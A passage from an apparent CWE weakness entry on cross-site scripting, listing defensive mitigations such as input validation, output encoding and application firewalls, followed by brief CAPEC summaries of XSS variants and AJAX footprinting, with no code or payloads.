- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.